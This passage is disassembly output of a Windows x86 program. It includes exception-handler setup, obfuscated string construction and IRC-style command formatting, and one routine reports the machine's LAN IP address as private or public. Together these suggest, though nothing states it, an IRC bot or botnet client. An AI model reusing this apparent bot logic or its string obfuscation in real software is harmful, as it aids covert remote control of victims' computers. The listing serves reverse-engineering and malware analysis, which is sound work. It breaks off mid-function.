		call	sub_40204F
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4119E0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411A60	proc near		; CODE XREF: sub_402072j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_411A60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_40142E
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40142E
		lea	ecx, [esi+54h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_40142E
		lea	ecx, [esi+69h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_40142E
		lea	ecx, [esi+7Eh]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_411A60	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411B20	proc near		; CODE XREF: sub_401979j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_411B20
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+7Eh]
		mov	[esp+14h+var_4], 5
		call	sub_401226
		lea	ecx, [esi+69h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+54h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_411B20	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411BE0	proc near		; CODE XREF: sub_4019E2j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401979
		test	[esp+4+arg_0], 1
		jz	short loc_411BF8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_411BF8:				; CODE XREF: sub_411BE0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_411BE0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_411C10	proc near		; CODE XREF: sub_401A19j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_411C10
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		test	esi, esi
		jz	short loc_411C36
		lea	edi, [esi+11h]
		jmp	short loc_411C38
; ---------------------------------------------------------------------------


loc_411C36:				; CODE XREF: sub_411C10+1Fj
		xor	edi, edi


loc_411C38:				; CODE XREF: sub_411C10+24j
		push	0
		push	17h
		push	1
		push	12h
		push	4Fh
		lea	eax, [esp+5Ch+var_3C]
		push	9
		push	eax
		call	sub_4019C4
		add	esp, 1Ch
		push	edi
		mov	ecx, eax
		mov	[esp+4Ch+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+250h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_411C10	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411C8C
		lea	ebx, [esi+11h]
		jmp	short loc_411C8E
; ---------------------------------------------------------------------------


loc_411C8C:				; CODE XREF: ___:00411C85j
		xor	ebx, ebx


loc_411C8E:				; CODE XREF: ___:00411C8Aj
		push	0
		push	14h
		push	3
		push	5
		push	0Eh
		push	0Eh
		push	0Fh
		push	3
		push	5
		push	12h
		push	4Fh
		lea	edx, [esp+38h]
		push	9
		push	edx
		call	sub_4019C4
		add	esp, 34h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+27Eh]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411CEB
		lea	ebx, [esi+11h]
		jmp	short loc_411CED
; ---------------------------------------------------------------------------


loc_411CEB:				; CODE XREF: ___:00411CE4j
		xor	ebx, ebx


loc_411CED:				; CODE XREF: ___:00411CE9j
		push	0
		push	14h
		push	12h
		push	1
		push	10h
		push	4Fh
		lea	ecx, [esp+24h]
		push	9
		push	ecx
		call	sub_4019C4
		add	esp, 20h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 2
		call	sub_4017EE
		lea	edx, [esi+1C6h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411D40
		lea	ebx, [esi+11h]
		jmp	short loc_411D42
; ---------------------------------------------------------------------------


loc_411D40:				; CODE XREF: ___:00411D39j
		xor	ebx, ebx


loc_411D42:				; CODE XREF: ___:00411D3Ej
		push	0
		push	5
		push	4
		push	0Fh
		push	0Dh
		push	4Fh
		lea	eax, [esp+24h]
		push	9
		push	eax
		call	sub_4019C4
		add	esp, 20h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 3
		call	sub_4017EE
		lea	ecx, [esi+16Ah]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411D95
		lea	ebx, [esi+11h]
		jmp	short loc_411D97
; ---------------------------------------------------------------------------


loc_411D95:				; CODE XREF: ___:00411D8Ej
		xor	ebx, ebx


loc_411D97:				; CODE XREF: ___:00411D93j
		push	0
		push	7
		push	13h
		push	0Dh
		push	4Fh
		lea	edx, [esp+20h]
		push	9
		push	edx
		call	sub_4019C4
		add	esp, 1Ch
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 4
		call	sub_4017EE
		push	eax
		lea	eax, [esi+1F4h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411DE8
		lea	ebx, [esi+11h]
		jmp	short loc_411DEA
; ---------------------------------------------------------------------------


loc_411DE8:				; CODE XREF: ___:00411DE1j
		xor	ebx, ebx


loc_411DEA:				; CODE XREF: ___:00411DE6j
		push	0
		push	5
		push	3
		push	9
		push	14h
		push	0Fh
		push	0Eh
		push	4Fh
		lea	ecx, [esp+2Ch]
		push	9
		push	ecx
		call	sub_4019C4
		add	esp, 28h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 5
		call	sub_4017EE
		lea	edx, [esi+0B2h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411E41
		lea	ebx, [esi+11h]
		jmp	short loc_411E43
; ---------------------------------------------------------------------------


loc_411E41:				; CODE XREF: ___:00411E3Aj
		xor	ebx, ebx


loc_411E43:				; CODE XREF: ___:00411E3Fj
		push	0
		push	14h
		push	3
		push	5
		push	0Eh
		push	0Eh
		push	0Fh
		push	3
		push	13h
		push	9
		push	4
		push	4Fh
		lea	eax, [esp+3Ch]
		push	9
		push	eax
		call	sub_4019C4
		add	esp, 38h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 6
		call	sub_4017EE
		lea	ecx, [esi+56h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411E9F
		lea	ebx, [esi+11h]
		jmp	short loc_411EA1
; ---------------------------------------------------------------------------


loc_411E9F:				; CODE XREF: ___:00411E98j
		xor	ebx, ebx


loc_411EA1:				; CODE XREF: ___:00411E9Dj
		push	0
		push	14h
		push	13h
		push	0Fh
		push	8
		push	14h
		push	5
		push	7
		push	4Fh
		lea	edx, [esp+30h]
		push	9
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 7
		call	sub_4017EE
		push	eax
		lea	eax, [esi+10Eh]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411EFA
		lea	ebx, [esi+11h]
		jmp	short loc_411EFC
; ---------------------------------------------------------------------------


loc_411EFA:				; CODE XREF: ___:00411EF3j
		xor	ebx, ebx


loc_411EFC:				; CODE XREF: ___:00411EF8j
		push	0
		push	0Fh
		push	6
		push	0Eh
		push	9
		push	14h
		push	5
		push	0Eh
		push	4Fh
		lea	ecx, [esp+30h]
		push	9
		push	ecx
		call	sub_4019C4
		add	esp, 2Ch
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 8
		call	sub_4017EE
		lea	edx, [esi+198h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411F55
		lea	ebx, [esi+11h]
		jmp	short loc_411F57
; ---------------------------------------------------------------------------


loc_411F55:				; CODE XREF: ___:00411F4Ej
		xor	ebx, ebx


loc_411F57:				; CODE XREF: ___:00411F53j
		push	0
		push	0Eh
		push	9
		push	0Fh
		push	0Ah
		push	4Fh
		lea	eax, [esp+3Ch]
		push	9
		push	eax
		call	sub_4019C4
		add	esp, 20h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 9
		call	sub_4017EE
		add	esi, 13Ch
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+44h], edi
		call	sub_401226
		mov	ecx, [esp+3Ch]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 0F0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4120B0	proc near		; CODE XREF: sub_401ACDj

var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_4120B0
		push	eax
		mov	large fs:0, esp
		sub	esp, 78h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+90h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+45h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jz	loc_4125D9
		lea	ecx, [edi+26Dh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jz	loc_4125D9
		lea	ecx, [edi+0A1h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4121B2
		push	offset asc_444600 ; " "
		lea	eax, [esp+98h+var_6C]
		push	2
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ebp, eax
		push	offset asc_444600 ; " "
		lea	ecx, [esp+98h+var_84]
		push	1
		xor	ebx, ebx
		push	ecx
		mov	ecx, esi
		mov	[esp+0A0h+var_4], ebx
		call	sub_4016B8
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 1
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4017EE
		mov	edx, dword_4490C0
		push	eax
		push	edx
		add	edi, 0FFFFFFEFh
		push	offset aSSS_1	; "%s %s :%s\r\n"
		push	edi
		call	sub_401E24
		add	esp, 14h
		lea	ecx, [esp+94h+var_84]
		mov	byte ptr [esp+94h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412602
; ---------------------------------------------------------------------------


loc_4121B2:				; CODE XREF: sub_4120B0+70j
		lea	ecx, [edi+187h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412229
		add	edi, 0FFFFFFEFh
		lea	eax, [esp+94h+var_6C]
		push	eax
		mov	ecx, edi
		call	sub_401D4D
		mov	ecx, eax
		mov	[esp+94h+var_4], 2
		call	sub_4017EE
		push	eax
		push	offset aS	; "%s"
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	edi
		call	sub_401857
		add	esp, 18h
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412602
; ---------------------------------------------------------------------------


loc_412229:				; CODE XREF: sub_4120B0+117j
		lea	ecx, [edi+0FDh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4122E4
		push	offset asc_444600 ; " "
		lea	eax, [esp+98h+var_6C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		push	eax
		lea	ecx, [edi+17h]
		mov	[esp+98h+var_4], 3
		call	sub_4018B1
		or	ebp, 0FFFFFFFFh
		lea	ecx, [esp+94h+var_6C]
		mov	ebx, eax
		mov	[esp+94h+var_4], ebp
		call	sub_401226
		test	ebx, ebx
		jz	loc_412602
		lea	ecx, [esp+94h+var_6C]
		add	edi, 0FFFFFFEFh
		push	ecx
		mov	ecx, edi
		call	sub_401D4D
		mov	ecx, eax
		mov	[esp+94h+var_4], 4
		call	sub_4017EE
		push	eax
		push	offset aS	; "%s"
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	edi
		call	sub_401857
		add	esp, 18h
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], ebp
		call	sub_401226
		jmp	loc_412602
; ---------------------------------------------------------------------------


loc_4122E4:				; CODE XREF: sub_4120B0+18Ej
		lea	ecx, [edi+12Bh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41238D
		push	offset asc_444600 ; " "
		lea	ecx, [esp+98h+var_84]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ebp, eax
		push	offset asc_444600 ; " "
		lea	edx, [esp+98h+var_6C]
		mov	ebx, 5
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+0A0h+var_4], ebx
		call	sub_4016B8
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 6
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		mov	eax, dword_4490C4
		push	eax
		add	edi, 0FFFFFFEFh
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	edi
		call	sub_401E24
		add	esp, 14h
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+94h+var_84]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412602
; ---------------------------------------------------------------------------


loc_41238D:				; CODE XREF: sub_4120B0+249j
		lea	ecx, [edi+1B5h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_4123FB
		push	offset asc_444600 ; " "
		lea	ecx, [esp+98h+var_6C]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+94h+var_4], 7
		call	sub_4017EE
		mov	edx, dword_4490F0
		push	eax
		push	edx
		add	edi, 0FFFFFFEFh
		push	offset aSS_0	; "%s %s\r\n"
		push	edi
		call	sub_401E24
		add	esp, 10h
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412602
; ---------------------------------------------------------------------------


loc_4123FB:				; CODE XREF: sub_4120B0+2F2j
		lea	ecx, [edi+23Fh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41245D
		lea	eax, [esp+94h+var_6C]
		push	9
		push	eax
		mov	ecx, esi
		call	sub_401E47
		mov	ecx, eax
		mov	[esp+94h+var_4], 8
		call	sub_4017EE
		push	eax
		add	edi, 0FFFFFFEFh
		push	offset aS_3	; "%s\r\n"
		push	edi
		call	sub_401E24
		add	esp, 0Ch
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412602
; ---------------------------------------------------------------------------


loc_41245D:				; CODE XREF: sub_4120B0+360j
		lea	ecx, [edi+1E3h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4124FD
		push	offset asc_444600 ; " "
		lea	ecx, [esp+98h+var_84]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ebp, eax
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+9Ch+var_6C]
		push	2
		push	edx
		mov	ecx, esi
		mov	[esp+0A4h+var_4], 9
		call	sub_4011EA
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 0Ah
		call	sub_4014DD
		push	eax
		mov	ecx, esi
		call	sub_4014DD
		xor	ebx, ebx
		push	eax
		push	ebx
		push	ebx
		lea	ecx, [edi-11h]
		call	sub_401118
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+94h+var_84]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412602
; ---------------------------------------------------------------------------


loc_4124FD:				; CODE XREF: sub_4120B0+3C2j
		lea	ecx, [edi+159h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_412602
		push	offset asc_444600 ; " "
		lea	eax, [esp+98h+var_24]
		push	3
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ebp, eax
		push	offset asc_444600 ; " "
		lea	ecx, [esp+98h+var_3C]
		push	2
		push	ecx
		mov	ecx, esi
		mov	[esp+0A0h+var_4], 0Bh
		call	sub_4016B8
		mov	ebx, eax
		push	offset asc_444600 ; " "
		lea	edx, [esp+98h+var_54]
		push	1
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0A0h+var_4], 0Ch
		call	sub_4016B8
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 0Dh
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		mov	eax, dword_4490F4
		push	eax
		add	edi, 0FFFFFFEFh
		push	offset aSSSS	; "%s %s %s %s\r\n"
		push	edi
		call	sub_401E24
		add	esp, 18h
		lea	ecx, [esp+94h+var_54]
		mov	byte ptr [esp+94h+var_4], 0Ch
		call	sub_401226
		lea	ecx, [esp+94h+var_3C]
		mov	byte ptr [esp+94h+var_4], 0Bh
		call	sub_401226
		lea	ecx, [esp+94h+var_24]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	short loc_412602
; ---------------------------------------------------------------------------


loc_4125D9:				; CODE XREF: sub_4120B0+3Aj
					; sub_4120B0+55j
		xor	ebx, ebx
		mov	[edi+0Fh], ebx
		mov	[edi+0Bh], ebx
		mov	[edi+5], bl
		mov	[edi+4], bl
		mov	ecx, [edi+7]
		push	ecx
		nop
		call	near ptr 71AB9639h
		mov	ecx, offset word_44AC5E
		mov	dword ptr [edi+7], 0FFFFFFFFh
		call	sub_401541


loc_412602:				; CODE XREF: sub_4120B0+FDj
					; sub_4120B0+174j ...
		mov	ecx, [esp+94h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 84h
		retn	4
sub_4120B0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 160h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412780	proc near		; CODE XREF: sub_401D4Dj

var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_412780
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 40h
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+50h+var_24]
		mov	[esp+50h+var_48], 0
		call	sub_40142E
		xor	eax, eax
		lea	ecx, [esp+50h+var_4C]
		mov	[esp+50h+var_44], eax
		lea	edx, [esp+50h+var_44]
		mov	[esp+50h+var_40], eax
		push	ecx
		mov	[esp+54h+var_3C], eax
		push	edx
		mov	[esp+58h+var_38], eax
		mov	eax, [esi+18h]
		push	eax
		mov	[esp+5Ch+var_4], 1
		mov	[esp+5Ch+var_4C], 10h
		nop
		call	near ptr 71AB951Eh
		mov	ecx, [esp+50h+var_40+3]
		mov	edx, [esp+50h+var_40+2]
		mov	eax, [esp+50h+var_40+1]
		and	ecx, 0FFh
		push	ecx
		mov	ecx, [esp+54h+var_40]
		and	edx, 0FFh
		and	eax, 0FFh
		push	edx
		and	ecx, 0FFh
		push	eax
		push	ecx
		lea	edx, [esp+60h+var_34]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	edx
		call	near ptr byte_5FC011
		nop
		add	esp, 18h
		lea	ecx, [esp+50h+var_24]
		push	offset byte_448F30
		call	sub_4015E1
		push	offset aLan	; "lan:	"
		lea	ecx, [esp+54h+var_24]
		call	sub_401AAF
		lea	eax, [esp+50h+var_34]
		lea	ecx, [esp+50h+var_24]
		push	eax
		call	sub_401AAF
		push	offset a_	; ". "
		lea	ecx, [esp+54h+var_24]
		call	sub_401AAF
		add	esi, 28h
		lea	ecx, [esp+50h+var_24]
		push	esi
		call	sub_4016C7
		push	offset a_	; ". "
		lea	ecx, [esp+54h+var_24]
		call	sub_401AAF
		lea	ecx, [esp+50h+var_34]
		push	ecx
		call	sub_401483
		add	esp, 4
		test	al, al
		jz	short loc_41288B
		push	offset aPrivate	; "[PRIVATE]"
		jmp	short loc_412890
; ---------------------------------------------------------------------------


loc_41288B:				; CODE XREF: sub_412780+102j
		push	offset aPublic	; "[PUBLIC]"


loc_412890:				; CODE XREF: sub_412780+109j
		lea	ecx, [esp+54h+var_24]
		call	sub_401AAF
		mov	esi, [esp+50h+arg_0]
		lea	edx, [esp+50h+var_24]
		push	edx
		mov	ecx, esi
		call	sub_4014D3
		mov	[esp+50h+var_48], 1
		lea	ecx, [esp+50h+var_24]
		mov	byte ptr [esp+50h+var_4], 0
		call	sub_401226
		mov	ecx, [esp+50h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 4Ch
		retn	4
sub_412780	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412940	proc near		; CODE XREF: sub_40158Cj

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	eax, [esi+18h]
		push	0
		not	ecx
		dec	ecx
		push	ecx
		push	ebp
		push	eax
		call	near ptr 71AB428Ah
		nop
		mov	edx, eax
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		cmp	edx, ecx
		jnb	short loc_41299E
		mov	[esi+16h], al
		mov	[esi+15h], al
		mov	eax, [esi+18h]
		push	eax
		nop
		call	near ptr 71AB9639h
		mov	ecx, offset word_44AC5E
		mov	dword ptr [esi+18h], 0FFFFFFFFh
		call	sub_401541
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_41299E:				; CODE XREF: sub_412940+33j
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebp
		retn	4
sub_412940	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4129D0	proc near		; CODE XREF: sub_401E24j

arg_2000	= dword	ptr  2004h
arg_2004	= dword	ptr  2008h
arg_2008	= byte ptr  200Ch

		mov	eax, 2000h
		call	sub_437B30
		mov	ecx, [esp+arg_2004]
		lea	eax, [esp+arg_2008]
		push	eax
		push	ecx
		lea	edx, [esp+8]
		push	2000h
		push	edx
		call	near ptr 77C3FF8Ah
		nop
		mov	ecx, [esp+10h+arg_2000]
		add	esp, 10h
		lea	eax, [esp+0]
		push	eax
		call	sub_40158C
		add	esp, 2000h
		retn
sub_4129D0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412A40	proc near		; CODE XREF: sub_401118j

var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_412A40
		push	eax
		mov	al, [esp+0Ch+arg_0]
		mov	large fs:0, esp
		sub	esp, 30h
		test	al, al
		push	esi
		mov	esi, ecx
		jz	short loc_412A77
		xor	al, al
		pop	esi
		mov	ecx, [esp+3Ch+var_C]
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_412A77:				; CODE XREF: sub_412A40+21j
		lea	ecx, [esp+40h+var_3C]
		call	sub_40142E
		mov	al, [esp+40h+arg_4]
		mov	[esp+40h+var_4], 0
		test	al, al
		jz	short loc_412A98
		mov	eax, dword_4490C0
		push	eax
		jmp	short loc_412A9F
; ---------------------------------------------------------------------------


loc_412A98:				; CODE XREF: sub_412A40+4Ej
		mov	ecx, dword_4490C8
		push	ecx


loc_412A9F:				; CODE XREF: sub_412A40+56j
		lea	ecx, [esp+44h+var_3C]
		call	sub_4015E1
		push	ebx
		lea	ecx, [esp+44h+var_24]
		call	sub_40142E
		mov	edx, [esp+44h+arg_8]
		mov	eax, [esp+44h+arg_C]
		push	edx
		push	eax
		lea	ecx, [esp+4Ch+var_3C]
		mov	byte ptr [esp+4Ch+var_4], 1
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+50h+var_24]
		push	offset aSSS_1	; "%s %s :%s\r\n"
		push	ecx
		call	sub_40102D
		add	esp, 14h
		lea	ecx, [esp+44h+var_24]
		call	sub_4014DD
		push	eax
		mov	ecx, esi
		call	sub_40158C
		lea	ecx, [esp+44h+var_24]
		mov	bl, al
		mov	byte ptr [esp+44h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+44h+var_3C]
		mov	[esp+44h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+44h+var_C]
		mov	al, bl
		pop	ebx
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn	10h
sub_412A40	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412B70	proc near		; CODE XREF: sub_401857j

arg_2000	= dword	ptr  2004h
arg_2004	= dword	ptr  2008h
arg_2008	= dword	ptr  200Ch
arg_200C	= dword	ptr  2010h
arg_2010	= dword	ptr  2014h
arg_2014	= byte ptr  2018h

		mov	eax, 2000h
